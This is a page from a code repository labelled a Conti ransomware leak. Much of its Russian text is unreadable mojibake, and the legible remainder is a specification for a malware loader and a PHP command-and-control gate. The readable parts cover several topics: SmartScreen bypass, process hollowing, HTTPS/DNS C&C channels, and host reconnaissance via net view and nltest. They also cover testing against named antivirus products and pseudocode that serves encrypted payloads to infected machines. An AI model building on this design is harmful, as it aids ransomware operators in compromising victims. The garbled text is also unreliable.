Conti Ransomware malware leak WITH LOCKER
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

301 lines
16 KiB

  1. ������������� ������, ����������
  2. ����
  3. ����� ��������� �� �� �������, ����� ����������� ��� ��.
  4. ����������� �������������� ������������� ������� � ������� ������ �������� � ������� ������������ ��������.
  5. ��������
  6. �������������� ����� ������ �������� � ������ SmartScreen:
  7. 1. ������������� �������� ������ �� ��� ���������� �������� https://lolbas-project.github.io/
  8. 2. ������������� �������, ������������� ����� �������� (��������, �����.�����, �������� ��� ����� ������������, ������������ � ��.),
  9. ��� ������� � ���������� � ���������� ����������� ������� ������� (�� ��������).
  10. ��� ����������� ������� ������� ������� � ���� ��������, ����� ����� �����-���� ������� ��������� ����������� � �����/������ ������� � ��������� �������� ������.
  11. 3. ������������� �������� ������ �� ��� ������ � ������� ��������
  12. ���������� � �������
  13. 1. ��� �����������
  14. 1.1. ��� ���������� ��������� �� �����, � ������� ��� ���-���� ���
  15. 2. ������������� ������� � ����� ������ �������������, ��� ����� ���������� IP-������. ������, ���� ������������� ������� ������������, � ���� ������������ ����������:
  16. ��������� ������ � ���� �� �������������� �� ����� � ��� �� ����������, ��� ����������� �� �������� ������������ � ������ �������������.
  17. ������������ ������� - hardware id (��� �� ����� ������������). ������ �������������� �� �������������.
  18. 2.1. ������ ����� �������������� �������������� ���� � ������������ ������ (�������). ������ ����� ��� �������� ������������ - ����� ��������� �������� ����� ����� �� ������.
  19. ������ ����������� � ������ � ������ ������ � � ������� ������� ����� ����������� ���������� ������� �� �������� �������.
  20. 2. ����������� x86/x64. ������������ ����������� x64. ������ �������� ������ ��� �� �����������, ��� ��� ������.
  21. 3. ���� ���� � �������:
  22. - ��� �����
  23. - ��� ������������
  24. - ������ � ����������� ��
  25. - ��� � ������ ��
  26. - ��������� ������� net view /all
  27. - ��������� ������� net view /all /domain
  28. - ��������� ������� nltest /domain_trusts /all_trusts
  29. - IP-����� �������� �� ����������� - ��� ����� ���� ������� ���������� �������
  30. 4. ��� ��������� ����
  31. 4.1. ������ �� �������������������� ������������.
  32. 5. ��� ������ UAC
  33. 6. ����������� ���������� ������� ��������� �� ������� ��������:
  34. 6.1. ��������� ������ �������� ��� �������
  35. 6.2. ������������ ������ � ��������� (����������� �������, ������� ��� ������������, ��������� ����� ��������� �����������)
  36. ����� ����� ����� ������: �� ������ �������� ����������� � ������� ����; ������, ��� �������� �������� ��-�� ������; ������, ��� ���� �������� ������� ��, � ������ ���.
  37. ������ � ��� ������ ���� ����� � � �.
  38. ������� ������, ��� ������� ����� �������� ������ �������� ��� ���������������� �������� �� ������� ��������.
  39. 7. ������ ��� .exe, ��� � .dll
  40. 8. ������ �������� ����������� �������� (process hollowing, dll from memory � ������� ���������)
  41. 9. �������� �������� ��� ���������� �������
  42. 10. ������������� �������� ������� ����� ��� ������ � C&C (HTTPS, DNS, ����� ���)
  43. 11. �������� ������� ���������� ��� ���������� ������� (������� ������ ������� ������� �� cmd.exe ��� WerFault.exe, ���� �� ������ ��������� � ���)
  44. 12. ���������� �������; ������� ����� ������������� ������. ���� ���������� - ������ �� ��������� �������, DPI.
  45. ������� ���������� ��� ���������� � ��������� ������, � ������� ����������, ����� ������ ���� ������� �������� � �������� ��� ���������� ������ ��������� � DPI.
  46. 13. ������ �� ��������� ������� (���������� �����, ��������� �������; ����������� ������ �������� ����� ���).
  47. ��� ���� ���� ��� ������ �� ������� ��� ���������, ��� � ��:
  48. 13.1. ��������� ������ �� ��������� ���������� ������
  49. 13.2. ������� � ����� �������� ��
  50. 13.3. ������ �� ��������� � ����������� �������� ���������, ������ ���� �� �������������� �������������� �� �������������.
  51. ��� ������� ��� ���� ���� � ��������� ����������� ��� �������� ID ���������, hostname, ����������� ������ ���.
  52. ������ �� ����������� ��� ������� ����� ������ �� ������� � ������ �����-���������� ��������, ��� ����� ���������� ������.
  53. 14. ������� ������� �������������, ���� �� ������ � ����������� �������������� ������������. �� ������ �� ����� ���������.
  54. 15. �� - Windows Server 2008 R2+, Windows Vista+ - �� ���� ������ ������, ������� ��� ����������� ���������� � ��������� �����.
  55. ���� �� �������� ������������� � Windows Server 2008 (��� R2, �� ���� ���������� ��� XP), ��� ����� ����� �����.
  56. 16. ���������� � �������� ���, ���� (� ������ ���������� ������ ��� .Net) ������ ������ ����������� �� ����� ��.
  57. �� ������ ���� ������������. ���� ��� ������ ���������� ���� ������ ���� (��������, �� ������ ����������� � ����������� ������ � ��� ����� ��������� VMWare Player), �� ��� ������ � ������ ����.
  58. PowerShell - �� ���� 2.0.
  59. ����������� ����� ������ cscript, jscript, .bat, ��� ������� ���������� � ������ ����.
  60. ������� �������, ��� ������ ���� ���� ����, � �� ������ �������� �� ����� ������ ��� ������� �� ��, ��� � ��� ��� ����� .Net ��� Microsoft Visual C++ Redistributable ������ ������.
  61. 17. ������������� � �������� (��� ��������� ����):
  62. 17.1. ������ ������ ������� ��� � .exe, ��� � � .dll
  63. 17.2. ��������� ������ (������, �� 1�)
  64. 17.3. ����������� CRT/STL (�� ��� ������ ������������).
  65. ���������� ����
  66. ������� ������������ ������ �� ���������� � ������������ ������ ���������� � ��������, ��� ����������� ������� �������������� ������� ������.
  67. ��������������, ����������� ������ ���� ��� ������� �� ����� �������� (VPS, ���������� ���).
  68. 0. �� ���� ��������������� 1 (����) ���� ������� � ����(�) ����� ������� + ������ ��� ���� �������� (��.����), ������� ������������ ������������� ��� ���������� ������.
  69. ���� ���� ������������� � �������� .exe, ������������� ������ ��������������� .dll - ��� ������������ ������� ������� ������ � .dll.
  70. � ����� ������ .dll ����������� ����� rundll � ����� �����������.
  71. ��������� �� ���� ����� �� �����, ����� ���� ����� ������ ����������/�����������.
  72. ���� ������� ��������������� �� ������� ���������. ��������� ������������ ��������� ���������� � �������������.
  73. ���� ������������ ����� �� ������������ ���������� VPS. ������, ��� ����� V � VPS - ������ virtual (����������� ������).
  74. 1. ������� �� dyncheck.com ������ ���� ������.
  75. 2. �� ����� 4 �������� �� ��������� �� ������ ������� �� dyncheck.com.
  76. ��������� dyncheck: 240 ������ �����, ������ ������ � ���������.
  77. 2.1. ���������� ����� ������������ ��������
  78. - Windows Defender
  79. - ESET Nod32
  80. - Avast Home
  81. - Kaspersky Antivirus
  82. - Bitdefender
  83. 3. � �������� �������� ������ ����������� ���������� ��������� ������:
  84. 3.1. putty.exe
  85. 3.2. notepad.exe
  86. 3.3. DbgView.exe https://docs.microsoft.com/en-us/sysinternals/downloads/debugview
  87. ������������� �������� ��������� ��������� ������ ������ �� �� �������. ��� ����� ���������� �������� ���� MessageBox("hello, world!"), ���������� ��������������,
  88. ��� ������������. ��������, � ����������� �������������� WinApi (������� GDI). ���� ����� - ������������������, ��� ������ �������� �������� � ������������ ���������.
  89. ������ ����� ����������� �� ���-������� ���������.
  90. 4. ���� ������������ ���������� �� ���� ����������� � ����������� �� (Windows Defender, ESET Nod32) � ������������ ������� Windows �� ����������.
  91. ������������ ���� ���������, �������� ������ ���������, �������� �������� ���������.
  92. ����������� ���������� ��� ��������������� ��������.
  93. 5. ������ � ���� "��� ����" (��� �������� � �����; ���� ��� .exe - �� ������ .exe � ������) ����������� � �������������� qaz.im (��� ������� ������������) � �������� Chrome ��������� �� ������ ������.
  94. �� ������ ���� �������������� � ������ �� �� ��������, �� �� ����������.
  95. 6. ������ �����������. ���� �� ����� ����������� ��������� ���� ������� EV-������������ ��� ������� ����� �� Chrome, �� ����� Chrome � ��������� � ����� ������������, ���� ����������� ������ �� ����������.
  96. 7. ������ ������ ������� � ��������� ��������. ���� ���������� ����������� �� ���-�������.
  97. �������� ������ ����������� �� ���������� ������� ��� � �� ���� ������� ���������/��.
  98. ����� ���������� ���������� ��� ������ �������������� ��������, � ����������� ������� ���� ����������.
  99. �� ��������, ��� ����������� �� ����� �����, ����������������� ������� �� ������ �������� �� ���������, � �� �����-�� ����� ����� ��������� ������ ��� ��� ��� �� ����.
  100. � ��� ��, ���� �� ��������� �������� ������, � �� �������������� ��������� �������.
  101. ��� ������������� �� ����� ������� � VPS ����� � hardware id, ����� ����� ���������� � �� � ���������� ����-�������.
  102. ���� � �������
  103. ������� ��� ����.
  104. ������� ������������� ��������� �� PHP ��� ����������� � ���.
  105. ������ ������� ���������� $adm � �������� ��������.
  106. ��� ���� ������ ���� �������� � ���� ������ �� PHP � ������������ ������� ��������� ������� (�.�. ����������������� ���� ��������� ��� �������).
  107. ���� ���������������� � ������� �� �����.
  108. � ������ ������������� �������� �� HTTP ���������� ��� ������� � ��������, ���� ����� �������� �� ���� HTTP-���������, �������� ��� ��� ������������� � ��������������� ��������.
  109. ��� ����� ������� ������, �� ������� � ����� �����������.
  110. � ������ ��������� ������ HTTP, ������ ���������� � �������� ������ ����.
  111. ��������� �������
  112. 1. ����������� ���������
  113. $adm->register_property($plugin_name, $prop_name, $length) ���������������� ��������� ��� ������� ����� � �������
  114. $plugin_name: ������ � ��������������� �����
  115. $prop_name: ������ � ��������������� ��������
  116. $length: ������������ ����� ����
  117. TODO: �������� � ������� ��������� ����� ��� ���� � ��������� ����������� � ������� (��� �������).
  118. ��������� �������� � �������� ���� � �� (��� ������, ��� ��� �� ����� �� ���-���� ������������ ��� ����������).
  119. ���������� true � ������ ������, false � ������ ������.
  120. �������� ���������� � ������� ��������� ������ (�������) � �������. �� ���� ��������� �������� � ������� ������.
  121. ��������, � ����� ���������� ��������� �� ������ ������������ ������ ����� HTTP-����������, URI-��������� � ������ ������� HTTP-�������, ��� ������ �����.
  122. � ����� ������ �� ������������� ������ ���������, � ����������� ������� ��������� �� �������� ��� ��� ������, � ������� ����������� ������.
  123. ���������� ������ ������� ���������� � ������ ���� ������.
  124. ����������� ����� ���� ����� ����������, ������ ������, �����-���� ������ ��� - ��� ��� ��� ����������� ��� ����������� ������������ ���������.
  125. 2. �������� ���������
  126. $adm->get_property($plugin_name, $prop_name, $group = null) �������� �������� (���������) � ��������� ������; ����������� ����������� ������
  127. $plugin_name: ������ � ��������������� �����
  128. $prop_name: ������ � ��������������� ��������
  129. $group: ������������� ������ (�������), �����������. ���� �� �������, �������� �������� ��������� �� ��������� ��� ������� ������.
  130. ���������� �������� ���������.
  131. 3. �������� ������ ��������
  132. $adm->get_groups($plugin_name) �������� ������ �� ������� �����, ��������� ��� ������� �������
  133. $plugin_name: ������ � ��������������� �����
  134. ���������� ������� ��������:
  135. "��� ������" => "�������" {
  136. "��� ���������1" => "�������� ���������1"
  137. ...
  138. "��� ���������N" => "�������� ���������N"
  139. }
  140. 3. �������� ��������
  141. $adm->get_payload($bitness, $group) �������� �������� �� �������� ������ � ��������� ������������
  142. $bitness: ��������� ��� ��������� �������� 86 � 64 (int)
  143. $group: ������������� ������
  144. ���������� ��������, ������� ������� ������ �������
  145. 4. ����������� �������
  146. $adm->knock($group, $id = null) ����������� ������� � ��������� ������
  147. $group: ������������� ������
  148. $id: ������������� ���������� (�����������)
  149. ������ �� ����������.
  150. 5. ����������� ���������� � �������
  151. $adm->put_sysinfo($group, $info, $id = null) ���������� � ����������
  152. $group: ������������� ������
  153. $id: ������������� ���������� (�����������)
  154. $info: ������� � ����������� � �������.
  155. ���� � ������� ���������:
  156. hostname: ��� �����
  157. uname: ��� ������������
  158. os: �������� ��
  159. os_bitness: ����������� ��
  160. os_version: ������ ��
  161. av: ��� � ������ ��
  162. net: ��������� ������� net view /all
  163. netdomain: ��������� ������� net view /all /domain
  164. trust: ��������� ������� nltest /domain_trusts /all_trusts
  165. ������� �����������, ���� ������ �������� ��� ���-������ ��������.
  166. ������� ������ �� ����������.
  167. 6. ��������� ����������
  168. $adm->put_telemetry($group, $data, $id = null) ���������� � �������
  169. $group: ������������� ������
  170. $id: ������������� ���������� (�����������)
  171. $data: ������������ ��������� �� �������
  172. ����������
  173. ����� ���������� - ��������� �������, � �������� � ������ �������.
  174. ������� ���� �� ������:
  175. - � ��� ��� ������ ������ ��������
  176. - � ��� ��� �� �� ��������
  177. - � ������������ ������� (��������, ������� �������� ������ �����)
  178. - � ��������� �������� ������� ��������
  179. - � ������ ��������
  180. ��������� ������
  181. ���� ���������� �������� ������������ �����-���� ������ ��� ������ ����� API, � ���� ��� ������ ����� �� ���������, ��������� �����������.
  182. ���� ����� (� ������ ��������), ���� ���������� ��� ������� ������ (���� ������� error_reporting).
  183. ��������� �����
  184. ���� - ��� ����� �� PHP, ��� ������������ � ���� �����������.
  185. ���� ����� ����������� � ��������� ������� ����������, �� �� ��� �� ������� ������������.
  186. ���� ������������ ��� ��������� �������:
  187. 1. ����������� � �������
  188. $gate->install()
  189. ��� ���������� ����������� ��������, ������ �����.
  190. 2. ��������� �������
  191. $gate->process_request($HTTP_request)
  192. ������������ �������� ������ � ��������� �����.
  193. $HTTP_request: �������� ������ �� ����� �����������
  194. ���������� �������:
  195. code => HTTP-��� ������ (����� ��� ������)
  196. response_headers => HTTP-��������� ��������������� ������. ���� ����� �� 200, ����� ���� �������.
  197. response_body => HTTP-���� ��������������� ������. ���� ����� �� 200, ����� ���� �������.
  198. ���� ����� 400 - ��� ������ ��� ���� �� ������� ������ ��� ��������.
  199. ���� ����� 404 - ��� ������ ��� ���� � ����� ������� ������ ��� ��������, �� �� ���� ����������� ��� � �������.
  200. ���� ����� 200 - ��� ������ ��� ����� ��������� ���������, � ���������� ��������� �� ���������.
  201. ����� ������ ���� ������ ���������� ��� ������ ���������; �� ���� ��������� ������ ��� ������� ����� ���������.
  202. PHP
  203. ������ PHP - �� ���� 7.0.
  204. ����� ������������ �� ��� ���������������� �������.
  205. ���� ����� ���-���� ��������� - ������� ��� �������.
  206. ������ ���������� ����� (PHP-�������� ���������)
  207. require_once "adm_api.php";
  208. // ������ ����� ������ $adm
  209. class sample_gate {
  210. string $plugin_name = "Plagin Vasi";
  211. // ������� ����������� ������� � �������
  212. // ��� ������� �������������� �� ������ (���������)
  213. function install() {
  214. // ������ ��������� (����) � �����-�� ������ � �����-�� ������
  215. // ��������, ����� ������� �������� ������, ���� ������ �� ����������� �� ��� �����
  216. $adm->register_property($plugin_name, "RSA_public_key", 4096);
  217. }
  218. // ��������� ������ �������, ���� ���������� ������� HTTP-������
  219. // ��� ������� �������������� �� ������ (���������)
  220. // � ����� �������� ������ � HTTP-�����, ����������� � ����� ������
  221. function process_request(string $request) {
  222. // ���� �� ������� ������ ��������� ���� �����, � �� ���������� � ���� ������
  223. array $groups = $adm->get_groups_list();
  224. // �������� ������ �� �����, ������ ��������������� ���������
  225. if(not valid request)
  226. return array("code=>"400"); // bad request; ����� ����� ���������� �������� ����� ���������� ����� ����������� ������� ��� ����� �������
  227. foreach($g => $groups) {
  228. if(request matches this group) {
  229. $adm->knock($REMOTE_ADDR);
  230. if(request is telemetry)
  231. $adm->put_telemetry($g, $message_from_request);
  232. else if(this is sysinfo) {
  233. $info = get_sysinfo_from_request();
  234. $adm->put_sysinfo($g, $info);
  235. }
  236. else if(request for payload) {
  237. $bitness = figure out bitness from the request;
  238. $payload = $adm->get_payload($bitness, $g);
  239. $encryption_key = $adm->get_property($plugin_name, "RSA_public_key");
  240. $HTTP_body = encrypt_payload($payload, $encryption_key);
  241. $HTTP_headers = arrange_headers_somehow();
  242. }
  243. return array("code=>"200", "response_headers" => ...);
  244. }
  245. }
  246. return array("code=>"404");
  247. }
  248. // ������ ���� ��������� ������� ������, � ������� ������� ����� �� �����
  249. function encrypt_payload() {}
  250. function arrange_headers_somehow() {}
  251. //etc
  252. }